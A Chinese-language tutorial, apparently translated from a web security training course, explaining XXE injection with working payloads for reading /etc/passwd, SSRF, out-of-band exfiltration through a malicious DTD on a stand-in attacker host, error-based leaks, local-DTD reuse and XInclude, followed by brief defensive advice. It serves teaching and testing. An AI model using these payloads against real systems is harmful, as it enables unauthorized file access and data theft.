目录

AcademyXML-外部实体-XXE-注入-XML-external-entity-XXE-injection

【Academy】XML 外部实体 (XXE) 注入 —— XML external entity (XXE) injection


概述

本文将解释什么是 XML 外部实体注入,描述一些常见示例,解释如何查找和利用各种类型的 XXE 注入,并总结如何防御 XXE 注入攻击。


1. 什么是 XML 外部实体注入?

XML 外部实体注入(也称为 XXE)是一种 Web 安全漏洞,允许攻击者干扰应用程序对 XML 数据的处理。它通常允许攻击者查看应用程序服务器文件系统上的文件,并与应用程序本身可以访问的任何后端或外部系统进行交互。

在某些情况下,攻击者可以通过利用 XXE 漏洞执行服务器端请求伪造 (SSRF) 攻击,升级 XXE 攻击以破坏底层服务器或其他后端基础设施。


2. XML 实体

在本节中,我们将解释 XML 的一些关键特性,这些特性与理解 XXE 漏洞相关。


2.1 什么是 XML?

XML 代表 “可扩展标记语言”。XML 是一种用于存储和传输数据的语言。与 HTML 一样,XML 使用标签和数据的树状结构。与 HTML 不同,XML 不使用预定义的标记,因此可以为标记指定描述数据的名称。在 Web 历史的早期,XML 作为一种数据传输格式很流行(“AJAX”中的“X”代表“XML”)。但它的受欢迎程度现在已经下降,取而代之的是 JSON 格式。


2.2 什么是 XML 实体?

XML 实体是一种在 XML 文档中表示数据项的方法,而不是使用数据本身 。XML 语言的规范中内置了各种实体。例如,实体 &lt;&gt; 表示字符 <> 。这些是用于表示 XML 标记的元字符,因此当它们出现在数据中时,通常必须使用其实体来表示。


2.3 什么是文档类型定义?

XML 文档类型定义 (DTD) 包含的声明可以定义 XML 文档的结构、它可以包含的数据值类型以及其他项。DTD 在 XML 文档开头的可选 DOCTYPE 元素中声明。DTD 可以完全自包含于文档本身中(称为“内部 DTD”),也可以从其他位置加载(称为“外部 DTD”),或者可以混合使用两者。


2.4 什么是 XML 自定义实体?

XML 允许在 DTD 中定义自定义实体。例如:

<!DOCTYPE foo [ <!ENTITY myentity "my entity value" > ]>

此定义意味着 XML 文档中对实体引用 &myentity; 的任何使用都将替换为定义的值:“ my entity value ”。


2.5 什么是 XML 外部实体?

XML 外部实体是一种自定义实体,其定义位于声明它们的 DTD 之外。

外部实体的声明使用 SYSTEM 关键字,并且必须指定应从中加载实体值的 URL。例如:

<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://normal-website.com" > ]>

URL 可以使用 file:// 协议,因此可以从文件加载外部实体。例如:

<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///path/to/file" > ]>

XML 外部实体提供了XML 外部实体攻击产生的主要方式


3. XXE 漏洞是如何产生的?

某些应用程序使用 XML 格式在浏览器和服务器之间传输数据。执行此操作的应用程序几乎总是使用标准库或平台 API 来处理服务器上的 XML 数据。XXE 漏洞的出现是因为 XML 规范包含各种潜在危险的功能,并且标准解析器支持这些功能,即使它们通常不被应用程序使用

XML 外部实体是一种自定义 XML 实体,其定义的值是从声明它们的 DTD 外部加载的。从安全角度来看,外部实体特别有趣,因为它们允许根据文件路径或 URL 的内容定义实体。


4. 如何查找和测试 XXE 漏洞

绝大多数 XXE 漏洞可以使用 Burp Suite 的 Web 漏洞扫描器快速、可靠地找到。

手动测试 XXE 漏洞通常包括:

  • 测试文件检索,方法是基于一个众所周知的操作系统文件定义一个外部实体,并在应用程序响应中返回的数据中使用该实体。
  • 对 XXE 盲注漏洞进行测试,方法是基于你控制的系统的 URL 定义一个外部实体,并监测与该系统的交互。Burp Collaborator非常适合用于此目的。
  • 通过使用XInclude 攻击来尝试检索知名操作系统文件,测试服务器端 XML 文档中是否存在易受攻击的用户提供的非 XML 数据包含情况。

注意

请记住,XML 只是一种数据传输格式。确保你还测试任何基于 XML 的功能是否存在其他漏洞,如 XSS 和 SQL 注入。你可能需要使用 XML 转义序列对有效载荷进行编码,以避免破坏语法,但你也可以使用此方法混淆攻击,以便绕过薄弱的防御。


5. XXE 攻击有哪些类型?

XXE 攻击有多种类型:

  • 利用 XXE 漏洞检索文件,即定义一个包含文件内容的外部实体,并在应用程序的响应中返回。
  • 利用 XXE 漏洞进行 SSRF 攻击,即根据后端系统的 URL 定义一个外部实体。
  • 利用盲 XXE 漏洞带外泄露数据,即敏感数据从应用程序服务器传输到攻击者控制的系统。
  • 利用盲 XXE 漏洞通过错误消息检索数据,即攻击者可以触发包含敏感数据的解析错误消息。

5.1 利用 XXE 检索文件

要执行从服务器文件系统中检索任意文件的 XXE 注入攻击,您需要通过两种方式修改提交的 XML:

  • 引入(或编辑)一个 DOCTYPE 元素,该元素定义包含文件路径的外部实体。
  • 编辑应用程序响应中返回的 XML 中的数据值,以利用已定义的外部实体。

例如,假设购物应用程序通过向服务器提交以下 XML 来检查产品的库存水平:

<?xml version="1.0" encoding="UTF-8"?>
<stockCheck><productId>381</productId></stockCheck>

该应用程序对 XXE 攻击没有特别的防御,因此您可以利用 XXE 漏洞通过提交以下 XXE 负载来获取 /etc/passwd 文件:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>

此 XXE 有效负载定义了一个外部实体 &xxe; ,其值为 /etc/passwd 文件的内容,并在 productId 值中使用该实体。这会导致应用程序的响应包含该文件的内容:

Invalid product ID: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...

注意

对于 现实世界的 XXE 漏洞,提交的 XML 中通常会有大量数据值,其中任何一个值都可能在应用程序的响应中使用要系统地测试 XXE 漏洞,您通常需要单独测试 XML 中的每个数据节点,方法是使用您定义的实体并查看它是否出现在响应中


5.2 利用 XXE 执行 SSRF

除了检索敏感数据外,XXE 攻击的另一个主要影响是它们可用于执行服务器端请求伪造 (SSRF)。这是一个潜在的严重漏洞,其中可能会诱使服务器端应用程序向服务器可以访问的任何 URL 发出 HTTP 请求。

要利用 XXE(XML 外部实体)漏洞进行 SSRF(服务器端请求伪造)攻击,您需要使用要攻击的目标 URL 定义一个外部 XML 实体,并在数据值中使用定义的实体。如果您可以在应用程序响应中返回的数据值中使用定义的实体,那么您将能够在应用程序响应中查看来自 URL 的响应,从而与后端系统进行双向交互。如果不行,那么您将只能进行盲 SSRF 攻击(这仍然可能产生严重后果)。

在下面的 XXE 示例中,外部实体将导致服务器向组织基础结构中的内部系统发出后端 HTTP 请求:

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal.vulnerable-website.com/"> ]>

6. XXE 盲注漏洞

许多 XXE 漏洞实例是盲的。这意味着应用程序不会在其响应中返回任何已定义的外部实体的值,因此无法直接检索服务器端文件。

XXE 盲注漏洞仍然可以被检测和利用,但需要更高级的技术。您有时可以使用带外技术来查找漏洞并利用它们来泄露数据。您有时可能会触发 XML 解析错误,从而导致错误消息中的敏感数据泄露。

在本节中,我们将解释什么是 XXE 盲注,并介绍查找和利用XXE 盲注漏洞的各种技术。


什么是XXE 盲注?

当应用程序容易受到 XXE 注入攻击,但未在其响应中返回任何已定义的外部实体的值时,就会出现XXE 盲注漏洞。这意味着无法直接检索服务器端文件,因此XXE 盲注通常比常规 XXE 漏洞更难利用。

您可以通过两种广泛的方式来查找和利用XXE 盲注漏洞:

  • 您可以触发带外网络交互,有时会泄露交互数据中的敏感数据。
  • 您可以触发 XML 解析错误,使错误消息包含敏感数据。

6.1 使用带外 (OAST) 技术检测盲 XXE

您通常可以使用与 XXE SSRF 攻击相同的技术来检测盲 XXE,但会触发与您控制的系统的带外网络交互。例如,您可以定义一个外部实体,如下所示:

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> ]>

然后,您可以在 XML 中的数据值中使用定义的实体。

此 XXE 攻击导致服务器向指定 URL 发出后端 HTTP 请求。攻击者可以监控生成的 DNS 查找和 HTTP 请求,从而检测到 XXE 攻击是否成功。

有时,由于应用程序的某些输入验证或正在使用的 XML 解析器的某些强化,使用常规实体的 XML 外部实体攻击(XXE 攻击)会被阻止。在这种情况下,您可能可以使用 XML 参数实体 来代替。XML 参数实体是一种特殊类型的 XML 实体,只能在文档类型定义(DTD)中的其他地方被引用。就目前而言,您只需要知道两件事。首先,XML 参数实体的声明在实体名称前包含百分号字符:

<!ENTITY % myparameterentity "my parameter entity value" >

其次,使用百分比字符 % 而不是通常的 & 符号引用参数实体:

%myparameterentity;

这意味着您可以通过 XML 参数实体使用带外检测来测试盲 XXE,如下所示:

<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> %xxe; ]>

此 XXE 负载声明一个名为 xxe 的 XML 参数实体,然后在 DTD 中使用该实体。这将导致对攻击者的域进行 DNS 查找和 HTTP 请求,以验证攻击是否成功。


6.2 利用 XXE 盲注在带外泄露数据

通过带外技术检测XXE 盲注 漏洞固然很好,但实际上并不能展示如何利用该漏洞。攻击者真正想要实现的是泄露敏感数据。这可以通过XXE 盲注 漏洞来实现,但它涉及攻击者在他们控制的系统上 托管恶意 DTD ,然后 从带内 XXE 有效负载中调用外部 DTD

用于泄露 /etc/passwd 文件内容的恶意 DTD 示例如下:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;

此 DTD 执行以下步骤:

  • 定义一个名为 file 的 XML 参数实体,其中包含 /etc/passwd 文件的内容。
  • 定义了一个名为 eval 的 XML 参数实体,其中包含对另一个名为 exfiltrate 的 XML 参数实体的动态声明。 exfiltrate 实体将通过向攻击者的 Web 服务器发出 HTTP 请求进行评估,该请求在 URL 查询字符串中包含 file 实体的值。
  • 使用 eval 实体,这将导致执行 exfiltrate 实体的动态声明。
  • 使用 exfiltrate 实体,以便通过请求指定的 URL 对其值进行评估。

然后,攻击者必须将恶意 DTD 托管在他们控制的系统上,通常是将其加载到自己的 Web 服务器上。例如,攻击者可能在以下 URL 上提供恶意 DTD:

http://web-attacker.com/malicious.dtd

最后,攻击者必须向易受攻击的应用程序提交以下 XXE 有效负载:

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM
"http://web-attacker.com/malicious.dtd"> %xxe;]>

此 XXE 负载声明一个名为 xxe 的 XML 参数实体,然后在 DTD 中使用该实体。这将导致 XML 解析器从攻击者的服务器获取外部 DTD 并 内联解释 它。然后执行恶意 DTD 中定义的步骤,并将 /etc/passwd 文件传输到攻击者的服务器。

注意

此技术可能不适用于某些文件内容,包括 /etc/passwd 文件中包含的换行符。这是因为某些 XML 解析器使用 API 在外部实体定义中获取 URL,该 API 会验证允许出现在 URL 中的字符。在这种情况下,可以使用 FTP 协议而不是 HTTP。有时,无法泄露包含换行符的数据,因此可以改为将 /etc/hostname 等文件作为目标。


6.3 利用 XXE 盲注通过错误消息检索数据

利用XXE 盲注的另一种方法是触发 XML 解析错误,其中错误消息包含您希望检索的敏感数据。如果应用程序在其响应中返回生成的错误消息,这将有效。

您可以使用恶意的外部 DTD 触发包含 /etc/passwd 文件内容的 XML 解析错误消息,如下所示:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

此 DTD 执行以下步骤:

  • 定义一个名为 file 的 XML 参数实体,其中包含 /etc/passwd 文件的内容。
  • 定义一个名为 eval 的 XML 参数实体,其中包含另一个名为 error 的 XML 参数实体的动态声明。 error 加载一个不存在的文件来评估,该文件的名称包含 file 实体的值。
  • 使用 eval 实体,这将导致执行 error 实体的动态声明。
  • 使用 error 实体,以便通过尝试加载不存在的文件来评估其值,从而生成包含不存在文件的名称(即 /etc/passwd 文件的内容)的错误消息。

调用恶意外部 DTD 将导致如下所示的错误消息:

java.io.FileNotFoundException: /nonexistent/root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...

6.4 通过重新利用本地 DTD 来利用盲 XXE

上述技术适用于外部 DTD,但通常不适用于在 DOCTYPE 元素中完全指定的内部 DTD。这是因为该技术涉及在另一个参数实体的定义中使用 XML 参数实体。根据 XML 规范,这在外部 DTD 中是允许的,但在内部 DTD 中是不允许的。(某些解析器可能会容忍它,但许多解析器不能容忍。

那么,当带外交互被阻止时,盲 XXE 漏洞又会怎样呢?你无法通过带外连接检索数据,也无法从远程服务器加载外部 DTD。

在这种情况下,由于 XML 语言规范中的一个漏洞,仍然可能触发包含敏感数据的错误消息。如果文档的 DTD 混合使用内部和外部 DTD 声明,那么内部 DTD 可以重新定义在外部 DTD 中声明的实体。当这种情况发生时,在另一个参数实体的定义中使用 XML 参数实体的限制被放宽。

这意味着攻击者可以在内部 DTD 中使用基于错误的 XML 外部实体注入(XXE)技术,前提是他们使用的 XML 参数实体正在重新定义在外部 DTD 中声明的实体。当然,如果带外连接被阻止,那么外部 DTD 就不能从远程位置加载。相反,它需要是应用服务器本地的外部 DTD 文件。从本质上讲,这种攻击涉及调用恰好存在于本地文件系统上的 DTD 文件,并重新利用它以触发包含敏感数据的解析错误的方式重新定义现有实体。

例如,假设服务器文件系统上的位置为 /usr/local/app/schema.dtd 有一个 DTD 文件,并且此 DTD 文件定义了一个名为 custom_entity 的实体。攻击者可以通过提交如下所示的混合 DTD 来触发包含 /etc/passwd 文件内容的 XML 解析错误消息:

<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
<!ENTITY % custom_entity '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>

此 DTD 执行以下步骤:

  • 定义一个名为 local_dtd 的 XML 参数实体,其中包含服务器文件系统上存在的外部 DTD 文件的内容。
  • 重新定义名为 custom_entity 的 XML 参数实体,该实体已在外部 DTD 文件中定义。该实体被重新定义为包含已描述的基于错误的 XXE 漏洞,用于触发包含 /etc/passwd 文件内容的错误消息。
  • 使用 local_dtd 实体,以便解释外部 DTD,包括 custom_entity 实体的重新定义值。这会导致所需的错误消息。

6.4.1 定位一个现有的 DTD 文件以进行重新利用

由于此 XXE 攻击涉及重新利用服务器文件系统上的现有 DTD,因此一个关键要求是找到合适的文件。这实际上很简单。由于应用程序返回 XML 解析器引发的任何错误消息,因此只需尝试从内部 DTD 中加载本地 DTD 文件,即可轻松枚举这些文件。

例如,使用 GNOME 桌面环境的 Linux 系统通常在 /usr/share/yelp/dtd/docbookx.dtd 中有一个 DTD 文件。您可以通过提交以下 XXE 有效负载来测试此文件是否存在,如果缺少该文件,将导致错误:

<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
]>

在测试了常见 DTD 文件列表以查找存在的文件后,您需要获取该文件的副本并查看它以查找可以重新定义的实体。由于许多包含 DTD 文件的常用系统都是开源的,因此您通常可以通过 Internet 搜索快速获取文件的副本。


7. 寻找隐藏的攻击面以进行 XXE 注入

XXE 注入漏洞的攻击面在很多情况下是显而易见的,因为应用程序的正常 HTTP 流量包含以 XML 格式包含数据的请求。在其他情况下,攻击面不太明显。但是,如果在正确的位置查找,您 会在不包含任何 XML 的请求中找到 XXE 攻击面


7.1 XInclude 攻击

某些应用程序接收客户端提交的数据,将其嵌入服务器端的 XML 文档中,然后解析文档。例如,将客户端提交的数据放入后端 SOAP 【(Simple Object Access Protocol),简单对象访问协议。它是一种基于 XML 的通信协议,用于在不同的应用程序之间进行通信。SOAP 通常用于 Web 服务中,允许不同的系统之间进行交互和数据交换。SOAP 消息包含一个 XML 文档,其中包含请求或响应的信息。SOAP 消息包含一个信封(envelope),其中包含一个头(header)和一个体(body)。】请求中,然后由后端 SOAP 服务处理该请求。

在这种情况下,您无法执行经典的 XXE 攻击,因为您无法控制整个 XML 文档,因此无法定义或修改 DOCTYPE 元素。但是,您或许可以改用 XIncludeXInclude 是 XML 规范的一部分,它允许从子文档构建 XML 文档。您可以在 XML 文档的任何数据值内放置 XInclude 攻击,因此,在您只控制放置在服务器端 XML 文档中的单个数据项的情况下,可以执行该攻击。

要执行 XInclude 攻击,您需要引用 XInclude 命名空间并提供要包含的文件的路径。例如:

<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>

7.2 通过文件上传进行 XXE 攻击

某些应用程序允许用户上传文件,然后在服务器端进行处理。一些常见的文件格式使用 XML 或包含 XML 子组件。基于 XML 的格式示例包括 DOCX 等办公文档格式和 SVG 等图像格式。

例如,应用程序可能允许用户上传图像,并在上传图像后在服务器上处理或验证这些图像。即使应用程序希望接收 PNG 或 JPEG 等格式,正在使用的图像处理库也可能支持 SVG 图像。由于 SVG 格式使用 XML ,攻击者可以提交恶意 SVG 图像,从而到达 XXE 漏洞的隐藏攻击面。


7.3 通过修改内容类型 content type 进行 XXE 注入

大多数 POST 请求使用由 HTML 表单生成的默认内容类型,例如 application/x-www-form-urlencoded 。某些 Web 站点希望接收此格式的请求,但会容忍其他内容类型,包括 XML。

例如,如果普通请求包含以下内容:

POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

foo=bar

然后,您或许可以提交以下请求,结果相同:

POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52

<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>

如果应用程序容忍消息正文中包含 XML 的请求,并将正文内容解析为 XML,则只需重新格式化请求以使用 XML 格式即可到达隐藏的 XXE 攻击面。


如何查找和测试 XXE 漏洞

绝大多数 XXE 漏洞都可以使用 Burp Suite 的 Web 漏洞扫描程序快速可靠地找到。

手动测试 XXE 漏洞通常包括:

  • 通过基于一个众所周知的操作系统文件定义一个外部实体,并在应用程序响应中返回的数据中使用该实体,来测试文件检索。
  • 通过基于一个你控制的系统的 URL 定义一个外部实体,并监测与该系统的交互,来测试盲 XXE 漏洞。Burp Collaborator非常适合用于此目的。
  • 通过使用XInclude 攻击尝试检索一个众所周知的操作系统文件,来测试服务器端 XML 文档中易受攻击的用户提供的非 XML 数据的包含情况。

注意

请记住,XML 只是一种数据传输格式。确保还测试任何基于 XML 的功能是否存在其他漏洞,如 XSS 和 SQL 注入。您可能需要使用 XML 转义序列对有效负载进行编码以避免破坏语法,但您也可以使用它来混淆您的攻击,以绕过薄弱的防御。


8. 如何防御 XXE 漏洞

几乎所有 XXE 漏洞的出现都是因为应用程序的 XML 解析库支持应用程序不需要或不打算使用的潜在危险 XML 功能。防止 XXE 攻击的最简单、最有效的方法是禁用这些功能。

通常,禁用外部实体的解析并禁用对 XInclude 的支持就足够了。这通常可以通过配置选项或以编程方式覆盖默认行为来完成。有关如何禁用不必要功能的详细信息,请参阅 XML 解析库或 API 的文档。